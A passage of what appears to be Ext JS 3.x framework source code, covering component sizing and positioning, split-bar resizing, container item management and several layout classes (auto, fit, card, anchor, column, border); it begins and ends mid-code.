c[1];\n    return b\n}, updateBox:function (a) {\n    this.setSize(a.width, a.height);\n    this.setPagePosition(a.x, a.y);\n    return this\n}, getResizeEl:function () {\n    return this.resizeEl || this.el\n}, setAutoScroll:function (a) {\n    if (this.rendered) {\n        this.getContentTarget().setOverflow(a ? \"auto\" : \"\")\n    }\n    this.autoScroll = a;\n    return this\n}, setPosition:function (a, g) {\n    if (a && typeof a[1] == \"number\") {\n        g = a[1];\n        a = a[0]\n    }\n    this.x = a;\n    this.y = g;\n    if (!this.boxReady) {\n        return this\n    }\n    var b = this.adjustPosition(a, g);\n    var e = b.x, d = b.y;\n    var c = this.getPositionEl();\n    if (e !== undefined || d !== undefined) {\n        if (e !== undefined && d !== undefined) {\n            c.setLeftTop(e, d)\n        } else {\n            if (e !== undefined) {\n                c.setLeft(e)\n            } else {\n                if (d !== undefined) {\n                    c.setTop(d)\n                }\n            }\n        }\n        this.onPosition(e, d);\n        this.fireEvent(\"move\", this, e, d)\n    }\n    return this\n}, setPagePosition:function (a, c) {\n    if (a && typeof a[1] == \"number\") {\n        c = a[1];\n        a = a[0]\n    }\n    this.pageX = a;\n    this.pageY = c;\n    if (!this.boxReady) {\n        return\n    }\n    if (a === undefined || c === undefined) {\n        return\n    }\n    var b = this.getPositionEl().translatePoints(a, c);\n    this.setPosition(b.left, b.top);\n    return this\n}, afterRender:function () {\n    Ext.BoxComponent.superclass.afterRender.call(this);\n    if (this.resizeEl) {\n        this.resizeEl = Ext.get(this.resizeEl)\n    }\n    if (this.positionEl) {\n        this.positionEl = Ext.get(this.positionEl)\n    }\n    this.boxReady = true;\n    Ext.isDefined(this.autoScroll) && this.setAutoScroll(this.autoScroll);\n    this.setSize(this.width, this.height);\n    if (this.x || this.y) {\n        this.setPosition(this.x, this.y)\n    } else {\n        if (this.pageX || this.pageY) {\n            this.setPagePosition(this.pageX, this.pageY)\n        }\n    }\n}, syncSize:function () {\n    delete this.lastSize;\n    this.setSize(this.autoWidth ? undefined : this.getResizeEl().getWidth(), this.autoHeight ? undefined : this.getResizeEl().getHeight());\n    return this\n}, onResize:function (d, b, a, c) {\n}, onPosition:function (a, b) {\n}, adjustSize:function (a, b) {\n    if (this.autoWidth) {\n        a = \"auto\"\n    }\n    if (this.autoHeight) {\n        b = \"auto\"\n    }\n    return{width:a, height:b}\n}, adjustPosition:function (a, b) {\n    return{x:a, y:b}\n}});\nExt.reg(\"box\", Ext.BoxComponent);\nExt.Spacer = Ext.extend(Ext.BoxComponent, {autoEl:\"div\"});\nExt.reg(\"spacer\", Ext.Spacer);\nExt.SplitBar = function (c, e, b, d, a) {\n    this.el = Ext.get(c, true);\n    this.el.dom.unselectable = \"on\";\n    this.resizingEl = Ext.get(e, true);\n    this.orientation = b || Ext.SplitBar.HORIZONTAL;\n    this.minSize = 0;\n    this.maxSize = 2000;\n    this.animate = false;\n    this.useShim = false;\n    this.shim = null;\n    if (!a) {\n        this.proxy = Ext.SplitBar.createProxy(this.orientation)\n    } else {\n        this.proxy = Ext.get(a).dom\n    }\n    this.dd = new Ext.dd.DDProxy(this.el.dom.id, \"XSplitBars\", {dragElId:this.proxy.id});\n    this.dd.b4StartDrag = this.onStartProxyDrag.createDelegate(this);\n    this.dd.endDrag = this.onEndProxyDrag.createDelegate(this);\n    this.dragSpecs = {};\n    this.adapter = new Ext.SplitBar.BasicLayoutAdapter();\n    this.adapter.init(this);\n    if (this.orientation == Ext.SplitBar.HORIZONTAL) {\n        this.placement = d || (this.el.getX() > this.resizingEl.getX() ? Ext.SplitBar.LEFT : Ext.SplitBar.RIGHT);\n        this.el.addClass(\"x-splitbar-h\")\n    } else {\n        this.placement = d || (this.el.getY() > this.resizingEl.getY() ? Ext.SplitBar.TOP : Ext.SplitBar.BOTTOM);\n        this.el.addClass(\"x-splitbar-v\")\n    }\n    this.addEvents(\"resize\", \"moved\", \"beforeresize\", \"beforeapply\");\n    Ext.SplitBar.superclass.constructor.call(this)\n};\nExt.extend(Ext.SplitBar, Ext.util.Observable, {onStartProxyDrag:function (a, e) {\n    this.fireEvent(\"beforeresize\", this);\n    this.overlay = Ext.DomHelper.append(document.body, {cls:\"x-drag-overlay\", html:\"&#160;\"}, true);\n    this.overlay.unselectable();\n    this.overlay.setSize(Ext.lib.Dom.getViewWidth(true), Ext.lib.Dom.getViewHeight(true));\n    this.overlay.show();\n    Ext.get(this.proxy).setDisplayed(\"block\");\n    var c = this.adapter.getElementSize(this);\n    this.activeMinSize = this.getMinimumSize();\n    this.activeMaxSize = this.getMaximumSize();\n    var d = c - this.activeMinSize;\n    var b = Math.max(this.activeMaxSize - c, 0);\n    if (this.orientation == Ext.SplitBar.HORIZONTAL) {\n        this.dd.resetConstraints();\n        this.dd.setXConstraint(this.placement == Ext.SplitBar.LEFT ? d : b, this.placement == Ext.SplitBar.LEFT ? b : d, this.tickSize);\n        this.dd.setYConstraint(0, 0)\n    } else {\n        this.dd.resetConstraints();\n        this.dd.setXConstraint(0, 0);\n        this.dd.setYConstraint(this.placement == Ext.SplitBar.TOP ? d : b, this.placement == Ext.SplitBar.TOP ? b : d, this.tickSize)\n    }\n    this.dragSpecs.startSize = c;\n    this.dragSpecs.startPoint = [a, e];\n    Ext.dd.DDProxy.prototype.b4StartDrag.call(this.dd, a, e)\n}, onEndProxyDrag:function (c) {\n    Ext.get(this.proxy).setDisplayed(false);\n    var b = Ext.lib.Event.getXY(c);\n    if (this.overlay) {\n        Ext.destroy(this.overlay);\n        delete this.overlay\n    }\n    var a;\n    if (this.orientation == Ext.SplitBar.HORIZONTAL) {\n        a = this.dragSpecs.startSize + (this.placement == Ext.SplitBar.LEFT ? b[0] - this.dragSpecs.startPoint[0] : this.dragSpecs.startPoint[0] - b[0])\n    } else {\n        a = this.dragSpecs.startSize + (this.placement == Ext.SplitBar.TOP ? b[1] - this.dragSpecs.startPoint[1] : this.dragSpecs.startPoint[1] - b[1])\n    }\n    a = Math.min(Math.max(a, this.activeMinSize), this.activeMaxSize);\n    if (a != this.dragSpecs.startSize) {\n        if (this.fireEvent(\"beforeapply\", this, a) !== false) {\n            this.adapter.setElementSize(this, a);\n            this.fireEvent(\"moved\", this, a);\n            this.fireEvent(\"resize\", this, a)\n        }\n    }\n}, getAdapter:function () {\n    return this.adapter\n}, setAdapter:function (a) {\n    this.adapter = a;\n    this.adapter.init(this)\n}, getMinimumSize:function () {\n    return this.minSize\n}, setMinimumSize:function (a) {\n    this.minSize = a\n}, getMaximumSize:function () {\n    return this.maxSize\n}, setMaximumSize:function (a) {\n    this.maxSize = a\n}, setCurrentSize:function (b) {\n    var a = this.animate;\n    this.animate = false;\n    this.adapter.setElementSize(this, b);\n    this.animate = a\n}, destroy:function (a) {\n    Ext.destroy(this.shim, Ext.get(this.proxy));\n    this.dd.unreg();\n    if (a) {\n        this.el.remove()\n    }\n    this.purgeListeners()\n}});\nExt.SplitBar.createProxy = function (b) {\n    var c = new Ext.Element(document.createElement(\"div\"));\n    document.body.appendChild(c.dom);\n    c.unselectable();\n    var a = \"x-splitbar-proxy\";\n    c.addClass(a + \" \" + (b == Ext.SplitBar.HORIZONTAL ? a + \"-h\" : a + \"-v\"));\n    return c.dom\n};\nExt.SplitBar.BasicLayoutAdapter = function () {\n};\nExt.SplitBar.BasicLayoutAdapter.prototype = {init:function (a) {\n}, getElementSize:function (a) {\n    if (a.orientation == Ext.SplitBar.HORIZONTAL) {\n        return a.resizingEl.getWidth()\n    } else {\n        return a.resizingEl.getHeight()\n    }\n}, setElementSize:function (b, a, c) {\n    if (b.orientation == Ext.SplitBar.HORIZONTAL) {\n        if (!b.animate) {\n            b.resizingEl.setWidth(a);\n            if (c) {\n                c(b, a)\n            }\n        } else {\n            b.resizingEl.setWidth(a, true, 0.1, c, \"easeOut\")\n        }\n    } else {\n        if (!b.animate) {\n            b.resizingEl.setHeight(a);\n            if (c) {\n                c(b, a)\n            }\n        } else {\n            b.resizingEl.setHeight(a, true, 0.1, c, \"easeOut\")\n        }\n    }\n}};\nExt.SplitBar.AbsoluteLayoutAdapter = function (a) {\n    this.basic = new Ext.SplitBar.BasicLayoutAdapter();\n    this.container = Ext.get(a)\n};\nExt.SplitBar.AbsoluteLayoutAdapter.prototype = {init:function (a) {\n    this.basic.init(a)\n}, getElementSize:function (a) {\n    return this.basic.getElementSize(a)\n}, setElementSize:function (b, a, c) {\n    this.basic.setElementSize(b, a, this.moveSplitter.createDelegate(this, [b]))\n}, moveSplitter:function (a) {\n    var b = Ext.SplitBar;\n    switch (a.placement) {\n        case b.LEFT:\n            a.el.setX(a.resizingEl.getRight());\n            break;\n        case b.RIGHT:\n            a.el.setStyle(\"right\", (this.container.getWidth() - a.resizingEl.getLeft()) + \"px\");\n            break;\n        case b.TOP:\n            a.el.setY(a.resizingEl.getBottom());\n            break;\n        case b.BOTTOM:\n            a.el.setY(a.resizingEl.getTop() - a.el.getHeight());\n            break\n    }\n}};\nExt.SplitBar.VERTICAL = 1;\nExt.SplitBar.HORIZONTAL = 2;\nExt.SplitBar.LEFT = 1;\nExt.SplitBar.RIGHT = 2;\nExt.SplitBar.TOP = 3;\nExt.SplitBar.BOTTOM = 4;\nExt.Container = Ext.extend(Ext.BoxComponent, {bufferResize:50, autoDestroy:true, forceLayout:false, defaultType:\"panel\", resizeEvent:\"resize\", bubbleEvents:[\"add\", \"remove\"], initComponent:function () {\n    Ext.Container.superclass.initComponent.call(this);\n    this.addEvents(\"afterlayout\", \"beforeadd\", \"beforeremove\", \"add\", \"remove\");\n    var a = this.items;\n    if (a) {\n        delete this.items;\n        this.add(a)\n    }\n}, initItems:function () {\n    if (!this.items) {\n        this.items = new Ext.util.MixedCollection(false, this.getComponentId);\n        this.getLayout()\n    }\n}, setLayout:function (a) {\n    if (this.layout && this.layout != a) {\n        this.layout.setContainer(null)\n    }\n    this.layout = a;\n    this.initItems();\n    a.setContainer(this)\n}, afterRender:function () {\n    Ext.Container.superclass.afterRender.call(this);\n    if (!this.layout) {\n        this.layout = \"auto\"\n    }\n    if (Ext.isObject(this.layout) && !this.layout.layout) {\n        this.layoutConfig = this.layout;\n        this.layout = this.layoutConfig.type\n    }\n    if (Ext.isString(this.layout)) {\n        this.layout = new Ext.Container.LAYOUTS[this.layout.toLowerCase()](this.layoutConfig)\n    }\n    this.setLayout(this.layout);\n    if (this.activeItem !== undefined && this.layout.setActiveItem) {\n        var a = this.activeItem;\n        delete this.activeItem;\n        this.layout.setActiveItem(a)\n    }\n    if (!this.ownerCt) {\n        this.doLayout(false, true)\n    }\n    if (this.monitorResize === true) {\n        Ext.EventManager.onWindowResize(this.doLayout, this, [false])\n    }\n}, getLayoutTarget:function () {\n    return this.el\n}, getComponentId:function (a) {\n    return a.getItemId()\n}, add:function (b) {\n    this.initItems();\n    var e = arguments.length > 1;\n    if (e || Ext.isArray(b)) {\n        var a = [];\n        Ext.each(e ? arguments : b, function (h) {\n            a.push(this.add(h))\n        }, this);\n        return a\n    }\n    var g = this.lookupComponent(this.applyDefaults(b));\n    var d = this.items.length;\n    if (this.fireEvent(\"beforeadd\", this, g, d) !== false && this.onBeforeAdd(g) !== false) {\n        this.items.add(g);\n        g.onAdded(this, d);\n        this.onAdd(g);\n        this.fireEvent(\"add\", this, g, d)\n    }\n    return g\n}, onAdd:function (a) {\n}, onAdded:function (a, b) {\n    this.ownerCt = a;\n    this.initRef();\n    this.cascade(function (d) {\n        d.initRef()\n    });\n    this.fireEvent(\"added\", this, a, b)\n}, insert:function (e, b) {\n    var d = arguments, h = d.length, a = [], g, j;\n    this.initItems();\n    if (h > 2) {\n        for (g = h - 1; g >= 1; --g) {\n            a.push(this.insert(e, d[g]))\n        }\n        return a\n    }\n    j = this.lookupComponent(this.applyDefaults(b));\n    e = Math.min(e, this.items.length);\n    if (this.fireEvent(\"beforeadd\", this, j, e) !== false && this.onBeforeAdd(j) !== false) {\n        if (j.ownerCt == this) {\n            this.items.remove(j)\n        }\n        this.items.insert(e, j);\n        j.onAdded(this, e);\n        this.onAdd(j);\n        this.fireEvent(\"add\", this, j, e)\n    }\n    return j\n}, applyDefaults:function (b) {\n    var a = this.defaults;\n    if (a) {\n        if (Ext.isFunction(a)) {\n            a = a.call(this, b)\n        }\n        if (Ext.isString(b)) {\n            b = Ext.ComponentMgr.get(b);\n            Ext.apply(b, a)\n        } else {\n            if (!b.events) {\n                Ext.applyIf(b.isAction ? b.initialConfig : b, a)\n            } else {\n                Ext.apply(b, a)\n            }\n        }\n    }\n    return b\n}, onBeforeAdd:function (a) {\n    if (a.ownerCt) {\n        a.ownerCt.remove(a, false)\n    }\n    if (this.hideBorders === true) {\n        a.border = (a.border === true)\n    }\n}, remove:function (a, b) {\n    this.initItems();\n    var d = this.getComponent(a);\n    if (d && this.fireEvent(\"beforeremove\", this, d) !== false) {\n        this.doRemove(d, b);\n        this.fireEvent(\"remove\", this, d)\n    }\n    return d\n}, onRemove:function (a) {\n}, doRemove:function (e, d) {\n    var b = this.layout, a = b && this.rendered;\n    if (a) {\n        b.onRemove(e)\n    }\n    this.items.remove(e);\n    e.onRemoved();\n    this.onRemove(e);\n    if (d === true || (d !== false && this.autoDestroy)) {\n        e.destroy()\n    }\n    if (a) {\n        b.afterRemove(e)\n    }\n}, removeAll:function (c) {\n    this.initItems();\n    var e, g = [], b = [];\n    this.items.each(function (h) {\n        g.push(h)\n    });\n    for (var d = 0, a = g.length; d < a; ++d) {\n        e = g[d];\n        this.remove(e, c);\n        if (e.ownerCt !== this) {\n            b.push(e)\n        }\n    }\n    return b\n}, getComponent:function (a) {\n    if (Ext.isObject(a)) {\n        a = a.getItemId()\n    }\n    return this.items.get(a)\n}, lookupComponent:function (a) {\n    if (Ext.isString(a)) {\n        return Ext.ComponentMgr.get(a)\n    } else {\n        if (!a.events) {\n            return this.createComponent(a)\n        }\n    }\n    return a\n}, createComponent:function (a, d) {\n    if (a.render) {\n        return a\n    }\n    var b = Ext.create(Ext.apply({ownerCt:this}, a), d || this.defaultType);\n    delete b.initialConfig.ownerCt;\n    delete b.ownerCt;\n    return b\n}, canLayout:function () {\n    var a = this.getVisibilityEl();\n    return a && a.dom && !a.isStyle(\"display\", \"none\")\n}, doLayout:function (g, e) {\n    var k = this.rendered, j = e || this.forceLayout;\n    if (this.collapsed || !this.canLayout()) {\n        this.deferLayout = this.deferLayout || !g;\n        if (!j) {\n            return\n        }\n        g = g && !this.deferLayout\n    } else {\n        delete this.deferLayout\n    }\n    if (k && this.layout) {\n        this.layout.layout()\n    }\n    if (g !== true && this.items) {\n        var d = this.items.items;\n        for (var b = 0, a = d.length; b < a; b++) {\n            var h = d[b];\n            if (h.doLayout) {\n                h.doLayout(false, j)\n            }\n        }\n    }\n    if (k) {\n        this.onLayout(g, j)\n    }\n    this.hasLayout = true;\n    delete this.forceLayout\n}, onLayout:Ext.emptyFn, shouldBufferLayout:function () {\n    var a = this.hasLayout;\n    if (this.ownerCt) {\n        return a ? !this.hasLayoutPending() : false\n    }\n    return a\n}, hasLayoutPending:function () {\n    var a = false;\n    this.ownerCt.bubble(function (b) {\n        if (b.layoutPending) {\n            a = true;\n            return false\n        }\n    });\n    return a\n}, onShow:function () {\n    Ext.Container.superclass.onShow.call(this);\n    if (Ext.isDefined(this.deferLayout)) {\n        delete this.deferLayout;\n        this.doLayout(true)\n    }\n}, getLayout:function () {\n    if (!this.layout) {\n        var a = new Ext.layout.AutoLayout(this.layoutConfig);\n        this.setLayout(a)\n    }\n    return this.layout\n}, beforeDestroy:function () {\n    var a;\n    if (this.items) {\n        while (a = this.items.first()) {\n            this.doRemove(a, true)\n        }\n    }\n    if (this.monitorResize) {\n        Ext.EventManager.removeResizeListener(this.doLayout, this)\n    }\n    Ext.destroy(this.layout);\n    Ext.Container.superclass.beforeDestroy.call(this)\n}, cascade:function (g, e, b) {\n    if (g.apply(e || this, b || [this]) !== false) {\n        if (this.items) {\n            var d = this.items.items;\n            for (var c = 0, a = d.length; c < a; c++) {\n                if (d[c].cascade) {\n                    d[c].cascade(g, e, b)\n                } else {\n                    g.apply(e || d[c], b || [d[c]])\n                }\n            }\n        }\n    }\n    return this\n}, findById:function (c) {\n    var a = null, b = this;\n    this.cascade(function (d) {\n        if (b != d && d.id === c) {\n            a = d;\n            return false\n        }\n    });\n    return a\n}, findByType:function (b, a) {\n    return this.findBy(function (d) {\n        return d.isXType(b, a)\n    })\n}, find:function (b, a) {\n    return this.findBy(function (d) {\n        return d[b] === a\n    })\n}, findBy:function (d, c) {\n    var a = [], b = this;\n    this.cascade(function (e) {\n        if (b != e && d.call(c || e, e, b) === true) {\n            a.push(e)\n        }\n    });\n    return a\n}, get:function (a) {\n    return this.getComponent(a)\n}});\nExt.Container.LAYOUTS = {};\nExt.reg(\"container\", Ext.Container);\nExt.layout.ContainerLayout = Ext.extend(Object, {monitorResize:false, activeItem:null, constructor:function (a) {\n    this.id = Ext.id(null, \"ext-layout-\");\n    Ext.apply(this, a)\n}, type:\"container\", IEMeasureHack:function (k, g) {\n    var a = k.dom.childNodes, b = a.length, n, m = [], l, h, j;\n    for (h = 0; h < b; h++) {\n        n = a[h];\n        l = Ext.get(n);\n        if (l) {\n            m[h] = l.getStyle(\"display\");\n            l.setStyle({display:\"none\"})\n        }\n    }\n    j = k ? k.getViewSize(g) : {};\n    for (h = 0; h < b; h++) {\n        n = a[h];\n        l = Ext.get(n);\n        if (l) {\n            l.setStyle({display:m[h]})\n        }\n    }\n    return j\n}, getLayoutTargetSize:Ext.EmptyFn, layout:function () {\n    var a = this.container, b = a.getLayoutTarget();\n    if (!(this.hasLayout || Ext.isEmpty(this.targetCls))) {\n        b.addClass(this.targetCls)\n    }\n    this.onLayout(a, b);\n    a.fireEvent(\"afterlayout\", a, this)\n}, onLayout:function (a, b) {\n    this.renderAll(a, b)\n}, isValidParent:function (b, a) {\n    return a && b.getPositionEl().dom.parentNode == (a.dom || a)\n}, renderAll:function (e, g) {\n    var b = e.items.items, d, h, a = b.length;\n    for (d = 0; d < a; d++) {\n        h = b[d];\n        if (h && (!h.rendered || !this.isValidParent(h, g))) {\n            this.renderItem(h, d, g)\n        }\n    }\n}, renderItem:function (d, a, b) {\n    if (d) {\n        if (!d.rendered) {\n            d.render(b, a);\n            this.configureItem(d)\n        } else {\n            if (!this.isValidParent(d, b)) {\n                if (Ext.isNumber(a)) {\n                    a = b.dom.childNodes[a]\n                }\n                b.dom.insertBefore(d.getPositionEl().dom, a || null);\n                d.container = b;\n                this.configureItem(d)\n            }\n        }\n    }\n}, getRenderedItems:function (g) {\n    var e = g.getLayoutTarget(), h = g.items.items, a = h.length, d, j, b = [];\n    for (d = 0; d < a; d++) {\n        if ((j = h[d]).rendered && this.isValidParent(j, e) && j.shouldLayout !== false) {\n            b.push(j)\n        }\n    }\n    return b\n}, configureItem:function (b) {\n    if (this.extraCls) {\n        var a = b.getPositionEl ? b.getPositionEl() : b;\n        a.addClass(this.extraCls)\n    }\n    if (b.doLayout && this.forceLayout) {\n        b.doLayout()\n    }\n    if (this.renderHidden && b != this.activeItem) {\n        b.hide()\n    }\n}, onRemove:function (b) {\n    if (this.activeItem == b) {\n        delete this.activeItem\n    }\n    if (b.rendered && this.extraCls) {\n        var a = b.getPositionEl ? b.getPositionEl() : b;\n        a.removeClass(this.extraCls)\n    }\n}, afterRemove:function (a) {\n    if (a.removeRestore) {\n        a.removeMode = \"container\";\n        delete a.removeRestore\n    }\n}, onResize:function () {\n    var c = this.container, a;\n    if (c.collapsed) {\n        return\n    }\n    if (a = c.bufferResize && c.shouldBufferLayout()) {\n        if (!this.resizeTask) {\n            this.resizeTask = new Ext.util.DelayedTask(this.runLayout, this);\n            this.resizeBuffer = Ext.isNumber(a) ? a : 50\n        }\n        c.layoutPending = true;\n        this.resizeTask.delay(this.resizeBuffer)\n    } else {\n        this.runLayout()\n    }\n}, runLayout:function () {\n    var a = this.container;\n    this.layout();\n    a.onLayout();\n    delete a.layoutPending\n}, setContainer:function (b) {\n    if (this.monitorResize && b != this.container) {\n        var a = this.container;\n        if (a) {\n            a.un(a.resizeEvent, this.onResize, this)\n        }\n        if (b) {\n            b.on(b.resizeEvent, this.onResize, this)\n        }\n    }\n    this.container = b\n}, parseMargins:function (b) {\n    if (Ext.isNumber(b)) {\n        b = b.toString()\n    }\n    var c = b.split(\" \"), a = c.length;\n    if (a == 1) {\n        c[1] = c[2] = c[3] = c[0]\n    } else {\n        if (a == 2) {\n            c[2] = c[0];\n            c[3] = c[1]\n        } else {\n            if (a == 3) {\n                c[3] = c[1]\n            }\n        }\n    }\n    return{top:parseInt(c[0], 10) || 0, right:parseInt(c[1], 10) || 0, bottom:parseInt(c[2], 10) || 0, left:parseInt(c[3], 10) || 0}\n}, fieldTpl:(function () {\n    var a = new Ext.Template('<div class=\"x-form-item {itemCls}\" tabIndex=\"-1\">', '<label for=\"{id}\" style=\"{labelStyle}\" class=\"x-form-item-label\">{label}{labelSeparator}</label>', '<div class=\"x-form-element\" id=\"x-form-el-{id}\" style=\"{elementStyle}\">', '</div><div class=\"{clearCls}\"></div>', \"</div>\");\n    a.disableFormats = true;\n    return a.compile()\n})(), destroy:function () {\n    if (this.resizeTask && this.resizeTask.cancel) {\n        this.resizeTask.cancel()\n    }\n    if (this.container) {\n        this.container.un(this.container.resizeEvent, this.onResize, this)\n    }\n    if (!Ext.isEmpty(this.targetCls)) {\n        var a = this.container.getLayoutTarget();\n        if (a) {\n            a.removeClass(this.targetCls)\n        }\n    }\n}});\nExt.layout.AutoLayout = Ext.extend(Ext.layout.ContainerLayout, {type:\"auto\", monitorResize:true, onLayout:function (d, g) {\n    Ext.layout.AutoLayout.superclass.onLayout.call(this, d, g);\n    var e = this.getRenderedItems(d), a = e.length, b, h;\n    for (b = 0; b < a; b++) {\n        h = e[b];\n        if (h.doLayout) {\n            h.doLayout(true)\n        }\n    }\n}});\nExt.Container.LAYOUTS.auto = Ext.layout.AutoLayout;\nExt.layout.FitLayout = Ext.extend(Ext.layout.ContainerLayout, {monitorResize:true, type:\"fit\", getLayoutTargetSize:function () {\n    var a = this.container.getLayoutTarget();\n    if (!a) {\n        return{}\n    }\n    return a.getStyleSize()\n}, onLayout:function (a, b) {\n    Ext.layout.FitLayout.superclass.onLayout.call(this, a, b);\n    if (!a.collapsed) {\n        this.setItemSize(this.activeItem || a.items.itemAt(0), this.getLayoutTargetSize())\n    }\n}, setItemSize:function (b, a) {\n    if (b && a.height > 0) {\n        b.setSize(a)\n    }\n}});\nExt.Container.LAYOUTS.fit = Ext.layout.FitLayout;\nExt.layout.CardLayout = Ext.extend(Ext.layout.FitLayout, {deferredRender:false, layoutOnCardChange:false, renderHidden:true, type:\"card\", setActiveItem:function (d) {\n    var a = this.activeItem, b = this.container;\n    d = b.getComponent(d);\n    if (d && a != d) {\n        if (a) {\n            a.hide();\n            if (a.hidden !== true) {\n                return false\n            }\n            a.fireEvent(\"deactivate\", a)\n        }\n        var c = d.doLayout && (this.layoutOnCardChange || !d.rendered);\n        this.activeItem = d;\n        delete d.deferLayout;\n        d.show();\n        this.layout();\n        if (c) {\n            d.doLayout()\n        }\n        d.fireEvent(\"activate\", d)\n    }\n}, renderAll:function (a, b) {\n    if (this.deferredRender) {\n        this.renderItem(this.activeItem, undefined, b)\n    } else {\n        Ext.layout.CardLayout.superclass.renderAll.call(this, a, b)\n    }\n}});\nExt.Container.LAYOUTS.card = Ext.layout.CardLayout;\nExt.layout.AnchorLayout = Ext.extend(Ext.layout.ContainerLayout, {monitorResize:true, type:\"anchor\", defaultAnchor:\"100%\", parseAnchorRE:/^(r|right|b|bottom)$/i, getLayoutTargetSize:function () {\n    var b = this.container.getLayoutTarget(), a = {};\n    if (b) {\n        a = b.getViewSize();\n        if (Ext.isIE && Ext.isStrict && a.width == 0) {\n            a = b.getStyleSize()\n        }\n        a.width -= b.getPadding(\"lr\");\n        a.height -= b.getPadding(\"tb\")\n    }\n    return a\n}, onLayout:function (m, w) {\n    Ext.layout.AnchorLayout.superclass.onLayout.call(this, m, w);\n    var p = this.getLayoutTargetSize(), k = p.width, o = p.height, q = w.getStyle(\"overflow\"), n = this.getRenderedItems(m), t = n.length, g = [], j, a, v, l, h, c, e, d, u = 0, s, b;\n    if (k < 20 && o < 20) {\n        return\n    }\n    if (m.anchorSize) {\n        if (typeof m.anchorSize == \"number\") {\n            a = m.anchorSize\n        } else {\n            a = m.anchorSize.width;\n            v = m.anchorSize.height\n        }\n    } else {\n        a = m.initialConfig.width;\n        v = m.initialConfig.height\n    }\n    for (s = 0; s < t; s++) {\n        l = n[s];\n        b = l.getPositionEl();\n        if (!l.anchor && l.items && !Ext.isNumber(l.width) && !(Ext.isIE6 && Ext.isStrict)) {\n            l.anchor = this.defaultAnchor\n        }\n        if (l.anchor) {\n            h = l.anchorSpec;\n            if (!h) {\n                d = l.anchor.split(\" \");\n                l.anchorSpec = h = {right:this.parseAnchor(d[0], l.initialConfig.width, a), bottom:this.parseAnchor(d[1], l.initialConfig.height, v)}\n            }\n            c = h.right ? this.adjustWidthAnchor(h.right(k) - b.getMargins(\"lr\"), l) : undefined;\n            e = h.bottom ? this.adjustHeightAnchor(h.bottom(o) - b.getMargins(\"tb\"), l) : undefined;\n            if (c || e) {\n                g.push({component:l, width:c || undefined, height:e || undefined})\n            }\n        }\n    }\n    for (s = 0, t = g.length; s < t; s++) {\n        j = g[s];\n        j.component.setSize(j.width, j.height)\n    }\n    if (q && q != \"hidden\" && !this.adjustmentPass) {\n        var r = this.getLayoutTargetSize();\n        if (r.width != p.width || r.height != p.height) {\n            this.adjustmentPass = true;\n            this.onLayout(m, w)\n        }\n    }\n    delete this.adjustmentPass\n}, parseAnchor:function (c, h, b) {\n    if (c && c != \"none\") {\n        var e;\n        if (this.parseAnchorRE.test(c)) {\n            var g = b - h;\n            return function (a) {\n                if (a !== e) {\n                    e = a;\n                    return a - g\n                }\n            }\n        } else {\n            if (c.indexOf(\"%\") != -1) {\n                var d = parseFloat(c.replace(\"%\", \"\")) * 0.01;\n                return function (a) {\n                    if (a !== e) {\n                        e = a;\n                        return Math.floor(a * d)\n                    }\n                }\n            } else {\n                c = parseInt(c, 10);\n                if (!isNaN(c)) {\n                    return function (a) {\n                        if (a !== e) {\n                            e = a;\n                            return a + c\n                        }\n                    }\n                }\n            }\n        }\n    }\n    return false\n}, adjustWidthAnchor:function (b, a) {\n    return b\n}, adjustHeightAnchor:function (b, a) {\n    return b\n}});\nExt.Container.LAYOUTS.anchor = Ext.layout.AnchorLayout;\nExt.layout.ColumnLayout = Ext.extend(Ext.layout.ContainerLayout, {monitorResize:true, type:\"column\", extraCls:\"x-column\", scrollOffset:0, targetCls:\"x-column-layout-ct\", isValidParent:function (b, a) {\n    return this.innerCt && b.getPositionEl().dom.parentNode == this.innerCt.dom\n}, getLayoutTargetSize:function () {\n    var b = this.container.getLayoutTarget(), a;\n    if (b) {\n        a = b.getViewSize();\n        if (Ext.isIE && Ext.isStrict && a.width == 0) {\n            a = b.getStyleSize()\n        }\n        a.width -= b.getPadding(\"lr\");\n        a.height -= b.getPadding(\"tb\")\n    }\n    return a\n}, renderAll:function (a, b) {\n    if (!this.innerCt) {\n        this.innerCt = b.createChild({cls:\"x-column-inner\"});\n        this.innerCt.createChild({cls:\"x-clear\"})\n    }\n    Ext.layout.ColumnLayout.superclass.renderAll.call(this, a, this.innerCt)\n}, onLayout:function (e, k) {\n    var g = e.items.items, j = g.length, n, b, a, o = [];\n    this.renderAll(e, k);\n    var r = this.getLayoutTargetSize();\n    if (r.width < 1 && r.height < 1) {\n        return\n    }\n    var p = r.width - this.scrollOffset, d = r.height, q = p;\n    this.innerCt.setWidth(p);\n    for (b = 0; b < j; b++) {\n        n = g[b];\n        a = n.getPositionEl().getMargins(\"lr\");\n        o[b] = a;\n        if (!n.columnWidth) {\n            q -= (n.getWidth() + a)\n        }\n    }\n    q = q < 0 ? 0 : q;\n    for (b = 0; b < j; b++) {\n        n = g[b];\n        a = o[b];\n        if (n.columnWidth) {\n            n.setSize(Math.floor(n.columnWidth * q) - a)\n        }\n    }\n    if (Ext.isIE) {\n        if (b = k.getStyle(\"overflow\") && b != \"hidden\" && !this.adjustmentPass) {\n            var l = this.getLayoutTargetSize();\n            if (l.width != r.width) {\n                this.adjustmentPass = true;\n                this.onLayout(e, k)\n            }\n        }\n    }\n    delete this.adjustmentPass\n}});\nExt.Container.LAYOUTS.column = Ext.layout.ColumnLayout;\nExt.layout.BorderLayout = Ext.extend(Ext.layout.ContainerLayout, {monitorResize:true, rendered:false, type:\"border\", targetCls:\"x-border-layout-ct\", getLayoutTargetSize:function () {\n    var a = this.container.getLayoutTarget();\n    return a ? a.getViewSize() : {}\n}, onLayout:function (g, I) {\n    var j, B, F, o, x = g.items.items, C = x.length;\n    if (!this.rendered) {\n        j = [];\n        for (B = 0; B < C; B++) {\n            F = x[B];\n            o = F.region;\n            if (F.collapsed) {\n                j.push(F)\n            }\n            F.collapsed = false;\n            if (!F.rendered) {\n                F.render(I, B);\n                F.getPositionEl().addClass(\"x-border-panel\")\n            }\n            this[o] = o != \"center\" && F.split ? new Ext.layout.BorderLayout.SplitRegion(this, F.initialConfig, o) : new Ext.layout.BorderLayout.Region(this, F.initialConfig, o);\n            this[o].render(I, F)\n        }\n        this.rendered = true\n    }\n    var v = this.getLayoutTargetSize();\n    if (v.width < 20 || v.height < 20) {\n        if (j) {\n            this.restoreCollapsed = j\n        }\n        return\n    } else {\n        if (this.restoreCollapsed) {\n            j = this.restoreCollapsed;\n            delete this.restoreCollapsed\n        }\n    }\n    var t = v.width, D = v.height, r = t, A = D, p = 0, q = 0, y = this.north, u = this.south, l = this.west, E = this.east, F = this.center, H, z, d, G;\n    if (!F && 